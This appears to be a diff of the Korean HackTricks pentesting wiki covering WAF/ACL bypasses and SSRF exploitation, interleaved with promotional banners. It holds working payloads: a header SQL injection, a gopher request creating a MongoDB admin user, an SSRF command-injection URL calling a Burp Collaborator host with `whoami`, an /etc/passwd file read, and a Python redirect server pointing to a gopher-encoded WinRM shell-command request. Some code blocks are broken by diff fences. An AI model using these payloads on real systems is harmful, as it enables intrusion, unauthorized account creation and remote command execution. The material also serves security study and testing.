* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
||||
다음 페이지에서는 **HTTP 파서의 일관성을 악용하여 WAF를 우회하는 방법을 확인하세요: [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)**
|
||||
## 경로 이름 조작을 사용하여 Nginx ACL 규칙 우회 <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
|
||||
기술 [이 연구에서](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
|
||||
Nginx 규칙 예시:
|
||||
```plaintext
|
||||
location = /admin {
|
||||
deny all;
|
||||
}
|
||||
|
||||
location = /admin/ {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
### **NodeJS - Express**
|
||||
|
||||
| Nginx Version | **Node.js Bypass Characters** |
|
||||
| ------------- | ----------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
|
||||
### **Flask**
|
||||
|
||||
| Nginx Version | **Flask Bypass Characters** |
|
||||
| ------------- | -------------------------------------------------------------- |
|
||||
| 1.22.0 | `\x85`, `\xA0` |
|
||||
| 1.21.6 | `\x85`, `\xA0` |
|
||||
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
|
||||
### **Spring Boot**
|
||||
|
||||
| Nginx Version | **Spring Boot Bypass Characters** |
|
||||
| ------------- | --------------------------------- |
|
||||
| 1.22.0 | `;` |
|
||||
| 1.21.6 | `;` |
|
||||
| 1.20.2 | `\x09`, `;` |
|
||||
| 1.18.0 | `\x09`, `;` |
|
||||
| 1.16.1 | `\x09`, `;` |
|
||||
|
||||
### **PHP-FPM**
|
||||
|
||||
Nginx FPM configuration:
|
||||
```plaintext
|
||||
location = /admin.php {
|
||||
deny all;
|
||||
}
|
||||
|
||||
location ~ \.php$ {
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
||||
}
|
||||
```
|
||||
Nginx는 `/admin.php`에 대한 액세스를 차단하도록 구성되어 있지만, `/admin.php/index.php`에 액세스하여 이를 우회할 수 있습니다.
|
||||
|
||||
### 방지 방법
|
||||
```plaintext
|
||||
location ~* ^/admin {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
## Mod Security 규칙 우회 <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### 경로 혼란
|
||||
|
||||
[**이 게시물**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)에서는 ModSecurity v3 (3.0.12 버전까지)이 `REQUEST_FILENAME` 변수를 부적절하게 구현했음을 설명했습니다. 이 변수는 액세스된 경로를 포함해야 했지만 (매개변수 시작까지), 경로를 가져 오기 위해 URL 디코딩을 수행했기 때문에 이 변수가 제대로 구현되지 않았습니다.\
|
||||
따라서 Mod Security에서 `http://example.com/foo%3f';alert(1);foo=`와 같은 요청은 `%3f`가 URL 경로를 끝내는 `?`로 변환되어 경로가 `/foo`일 것으로 가정하지만, 실제로 서버가 받게 될 경로는 `/foo%3f';alert(1);foo=`가 됩니다.
|
||||
|
||||
변수 `REQUEST_BASENAME` 및 `PATH_INFO`도 이 버그의 영향을 받았습니다.
|
||||
|
||||
Mod Security의 버전 2에서도 비슷한 문제가 발생했는데, 이는 백업 파일과 관련된 특정 확장자를 가진 파일에 액세스를 방지하는 보호 기능을 우회할 수 있었습니다 (예: `.bak`). 단순히 점을 URL 인코딩 된 `%2e`로 보내면 가능했습니다. 예를 들어: `https://example.com/backup%2ebak`.
|
||||
|
||||
## AWS WAF ACL 우회 <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### 형식이 잘못된 헤더
|
||||
|
||||
[이 연구](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)는 AWS WAF 규칙을 우회할 수 있었던 HTTP 헤더에 "형식이 잘못된" 헤더를 보내어 AWS에서는 제대로 구문 분석되지 않았지만 백엔드 서버에서는 구문 분석되는 방법으로 우회할 수 있었습니다.
|
||||
|
||||
예를 들어, 다음 요청을 SQL 인젝션을 포함한 헤더 X-Query로 보내는 것:
|
||||
```http
|
||||
GET / HTTP/1.1\r\n
|
||||
Host: target.com\r\n
|
||||
X-Query: Value\r\n
|
||||
\t' or '1'='1' -- \r\n
|
||||
Connection: close\r\n
|
||||
\r\n
|
||||
```
|
||||
AWS WAF를 우회하는 것이 가능했었는데, 이는 AWS WAF가 헤더 값의 다음 줄이 해당 값의 일부라는 것을 이해하지 못했기 때문이었습니다. 반면 NODEJS 서버는 이를 이해했었습니다 (해당 문제는 수정되었습니다).
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 전문가로 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* 해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -3,22 +3,22 @@
|
|||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장** **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지의 AWS 해킹을 배우세요**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks를 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소로 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소로 **PR 제출**하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -50,23 +50,23 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### 오픈 리디렉트를 통한 우회
|
||||
|
||||
서버가 올바르게 보호되어 있다면 웹 페이지 내부의 **오픈 리디렉트를 이용하여 모든 제한을 우회**할 수 있습니다. 웹 페이지는 **동일한 도메인으로의 SSRF를 허용**하고 아마도 **리디렉트를 따를 것**이므로 **내부 리소스에 액세스하도록 서버를 만들기 위해 오픈 리디렉트를 악용**할 수 있습니다.\
|
||||
서버가 올바르게 보호되어 있다면 웹 페이지 내부의 **오픈 리디렉트를 이용하여 모든 제한을 우회**할 수 있습니다. 웹 페이지는 **동일한 도메인으로의 SSRF를 허용**하고 아마도 **리디렉트를 따를 것**이므로 **내부 리소스에 액세스하도록 서버를 조작**할 수 있습니다.\
|
||||
자세한 내용은 여기를 참조하세요: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||||
|
||||
## 프로토콜
|
||||
|
||||
* **file://**
|
||||
* `file://` URL scheme은 `/etc/passwd`로 직접 가리킵니다: `file:///etc/passwd`
|
||||
* URL scheme `file://`은 `/etc/passwd`로 직접 가리킵니다: `file:///etc/passwd`
|
||||
* **dict://**
|
||||
* DICT URL scheme은 DICT 프로토콜을 통해 정의 또는 단어 목록에 액세스하는 데 사용된다. 특정 단어, 데이터베이스 및 항목 번호를 대상으로 하는 구성된 URL 및 PHP 스크립트의 잘못된 사용 사례가 제시되었습니다: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
* **SFTP://**
|
||||
* 안전한 파일 전송을 위한 프로토콜로 식별되며, PHP 스크립트가 악의적인 SFTP 서버에 연결하는 방법을 보여주는 예시가 제공됩니다: `url=sftp://generic.com:11111/`
|
||||
* **TFTP://**
|
||||
* UDP 상에서 작동하는 Trivial File Transfer Protocol은 PHP 스크립트가 TFTP 서버로 요청을 보내도록 설계된 예시로 설명됩니다. 'generic.com'의 '12346' 포트로 'TESTUDPPACKET' 파일에 대한 TFTP 요청이 수행됩니다: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
* UDP 상에서 작동하는 Trivial File Transfer Protocol은 PHP 스크립트가 TFTP 서버로 요청을 보내도록 설계된 예시로 언급됩니다. 'generic.com'의 '12346' 포트로 'TESTUDPPACKET' 파일에 대한 TFTP 요청이 수행됩니다: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
* **LDAP://**
|
||||
* 이 세그먼트는 IP 네트워크 상에서 분산 디렉터리 정보 서비스를 관리하고 액세스하는 데 사용되는 경량 디렉터리 액세스 프로토콜을 다룹니다. 로컬호스트의 LDAP 서버와 상호 작용: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||||
* 이 세그먼트는 IP 네트워크 상에서 분산 디렉터리 정보 서비스를 관리하고 액세스하는 데 사용되는 경량 디렉터리 액세스 프로토콜을 다루며, 로컬호스트의 LDAP 서버와 상호 작용하는 방법을 강조합니다: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||||
* **SMTP**
|
||||
* SSRF 취약점을 이용하여 로컬호스트의 SMTP 서비스와 상호 작용하는 방법이 설명되며, 내부 도메인 이름을 공개하고 해당 정보를 기반으로 추가 조사 조치를 취하는 단계가 포함됩니다.
|
||||
* SSRF 취약점을 악용하여 로컬호스트의 SMTP 서비스와 상호 작용하는 방법이 설명되며, 내부 도메인 이름을 공개하고 해당 정보를 기반으로 추가 조사 조치를 취하는 단계가 포함됩니다.
|
||||
```
|
||||
From https://twitter.com/har1sec/status/1182255952055164929
|
||||
1. connect with SSRF on smtp localhost:25
|
||||
|
@ -75,16 +75,16 @@ From https://twitter.com/har1sec/status/1182255952055164929
|
|||
4. connect
|
||||
```
|
||||
* **Curl URL globbing - WAF 우회**
|
||||
* 만약 SSRF가 **curl**에 의해 실행된다면, curl은 [**URL globbing**](https://everything.curl.dev/cmdline/globbing)이라는 기능을 가지고 있는데, 이는 WAF를 우회하는 데 유용할 수 있습니다. 예를 들어, 이 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)에서는 **`file` 프로토콜을 통한 경로 순회**의 예제를 찾을 수 있습니다.
|
||||
* 만약 SSRF가 **curl**에 의해 실행된다면, curl은 [**URL globbing**](https://everything.curl.dev/cmdline/globbing)이라는 기능을 가지고 있어 WAF 우회에 유용할 수 있습니다. 예를 들어, 이 [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi)에서 **`file` 프로토콜을 통한 경로 순회** 예제를 찾을 수 있습니다:
|
||||
```
|
||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
```
|
||||
* **Gopher://**
|
||||
* Gopher 프로토콜의 IP, 포트 및 바이트를 지정하여 서버 통신을 할 수 있는 능력에 대해 설명하며, Gopherus 및 remote-method-guesser와 같은 툴을 사용하여 페이로드를 작성하는 방법을 다룹니다. 두 가지 다른 용도가 설명됩니다:
|
||||
* Gopher 프로토콜의 IP, 포트 및 바이트를 지정하여 서버 통신을 논의하며, Gopherus 및 원격 메서드 추측기와 같은 툴을 사용하여 페이로드를 작성하는 방법에 대해 설명합니다. 두 가지 다른 용도가 설명됩니다:
|
||||
|
||||
### Gopher://
|
||||
|
||||
이 프로토콜을 사용하면 서버가 **보내도록 원하는 IP, 포트 및 바이트**를 지정할 수 있습니다. 그런 다음 기본적으로 SSRF를 이용하여 **어떤 TCP 서버와도 통신**할 수 있습니다 (다만 먼저 서비스와 대화하는 방법을 알아야 합니다).\
|
||||
이 프로토콜을 사용하면 서버가 **보내도록 원하는 IP, 포트 및 바이트**를 지정할 수 있습니다. 그런 다음 기본적으로 SSRF를 이용하여 **모든 TCP 서버와 통신**할 수 있습니다 (다만 먼저 서비스와 대화하는 방법을 알아야 합니다).\
|
||||
다행히도 [Gopherus](https://github.com/tarunkant/Gopherus)를 사용하여 여러 서비스에 대한 페이로드를 생성할 수 있습니다. 또한 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)를 사용하여 _Java RMI_ 서비스를 위한 _gopher_ 페이로드를 생성할 수 있습니다.
|
||||
|
||||
**Gopher smtp**
|
||||
|
@ -119,7 +119,7 @@ https://example.com/?q=http://evil.com/redirect.php.
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Gopher MongoDB -- 사용자를 만들어 username=admin, password=admin123 및 권한=관리자로 설정
|
||||
#### Gopher MongoDB -- 사용자를 만들어 username=admin, password=admin123 및 permission=administrator으로 설정합니다.
|
||||
```bash
|
||||
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
|
||||
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
||||
|
@ -130,11 +130,11 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
|||
```
|
||||
## Referrer 헤더 및 기타를 통한 SSRF
|
||||
|
||||
서버의 분석 소프트웨어는 종종 Referrer 헤더를 기록하여 들어오는 링크를 추적하는데, 이는 애플리케이션을 SSRF 취약점에 노출시키는 실수를 일으킬 수 있습니다. 이는 해당 소프트웨어가 Referrer 헤더에 언급된 외부 URL을 방문하여 추천 사이트 콘텐츠를 분석할 수 있기 때문입니다. 이러한 취약점을 발견하기 위해 Burp Suite 플러그인 "**Collaborator Everywhere**"를 활용하는 것이 좋습니다. 이는 분석 도구가 Referer 헤더를 처리하는 방식을 활용하여 잠재적인 SSRF 공격 표면을 식별합니다.
|
||||
서버의 분석 소프트웨어는 종종 Referrer 헤더를 기록하여 들어오는 링크를 추적하는데, 이는 애플리케이션을 SSRF 취약점에 노출시키는 실수를 일으킬 수 있습니다. 이는 해당 소프트웨어가 Referrer 헤더에 언급된 외부 URL을 방문하여 추천 사이트 콘텐츠를 분석할 수 있기 때문입니다. 이러한 취약점을 발견하기 위해 Burp Suite 플러그인 "**Collaborator Everywhere**"를 활용하는 것이 권장되며, 이는 분석 도구가 Referer 헤더를 처리하는 방식을 활용하여 잠재적인 SSRF 공격 표면을 식별합니다.
|
||||
|
||||
## 인증서에서 SNI 데이터를 통한 SSRF
|
||||
|
||||
어떤 백엔드에도 연결할 수 있는 구성 오류는 다음과 같은 Nginx 구성 예제로 설명됩니다:
|
||||
어떤 백엔드에도 연결을 가능하게 하는 잘못된 구성은 다음과 같은 Nginx 구성 예제로 설명됩니다:
|
||||
```
|
||||
stream {
|
||||
server {
|
||||
|
@ -151,13 +151,13 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
|||
```
|
||||
## [Wget 파일 업로드](../file-upload/#wget-file-upload-ssrf-trick)
|
||||
|
||||
## 명령 삽입과 함께의 SSRF
|
||||
## 명령 삽입과 함께 SSRF
|
||||
|
||||
다음과 같은 payload를 시도해볼 가치가 있습니다: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
||||
다음과 같은 페이로드를 시도해볼 가치가 있습니다: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
||||
|
||||
## PDF 렌더링
|
||||
|
||||
웹 페이지가 제공한 정보로 PDF를 자동으로 생성하는 경우, PDF 생성자(서버)에서 실행될 JS를 삽입할 수 있으며, PDF를 생성하는 동안 SSRF를 악용할 수 있습니다. [**더 많은 정보는 여기에서 확인하세요**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
웹 페이지가 제공한 정보로 PDF를 자동으로 생성하는 경우, PDF 생성 중에 **실행될 JS를 삽입**할 수 있으며, PDF 생성기(서버)에서 SSRF를 악용할 수 있습니다. [**더 많은 정보는 여기에서 확인하세요**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||||
|
||||
## SSRF에서 DoS로
|
||||
|
||||
|
@ -169,9 +169,9 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
|||
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Gopher로의 SSRF 리디렉션
|
||||
## Gopher로 SSRF 리디렉션
|
||||
|
||||
일부 악용을 위해 **리디렉트 응답을 보내야 할 수도 있습니다** (아마도 gopher와 같은 다른 프로토콜을 사용할 수 있음). 여기에 리디렉트 응답을 반환하는 다양한 파이썬 코드가 있습니다:
|
||||
일부 악용을 위해 **리디렉트 응답을 보내야 할 수도 있습니다** (아마도 gopher와 같은 다른 프로토콜을 사용할 수 있음). 여기에서 리디렉트로 응답하는 다양한 파이썬 코드가 제공됩니다:
|
||||
```python
|
||||
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
|
@ -181,7 +181,7 @@ class MainHandler(BaseHTTPRequestHandler):
|
|||
def do_GET(self):
|
||||
print("GET")
|
||||
self.send_response(301)
|
||||
```html
|
||||
```markdown
|
||||
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
|
||||
```python
|
||||
self.end_headers()
|
||||
|
@ -206,14 +206,86 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
오늘 액세스하세요:
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## DNS Rebidding CORS/SOP bypass
|
||||
## SSRF를 위한 잘못 구성된 프록시
|
||||
|
||||
만약 **CORS/SOP**로 인해 **로컬 IP에서 콘텐츠를 유출하는 데 문제**가 발생한다면, **DNS Rebidding**을 사용하여 이 제한을 우회할 수 있습니다:
|
||||
[**이 게시물에서의**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 트릭.
|
||||
|
||||
### Flask
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Flask 프록시 취약 코드</summary>
|
||||
```python
|
||||
from flask import Flask
|
||||
from requests import get
|
||||
|
||||
app = Flask('__main__')
|
||||
SITE_NAME = 'https://google.com'
|
||||
|
||||
@app.route('/', defaults={'path': ''})
|
||||
@app.route('/<path:path>')
|
||||
|
||||
def proxy(path):
|
||||
return get(f'{SITE_NAME}{path}').content
|
||||
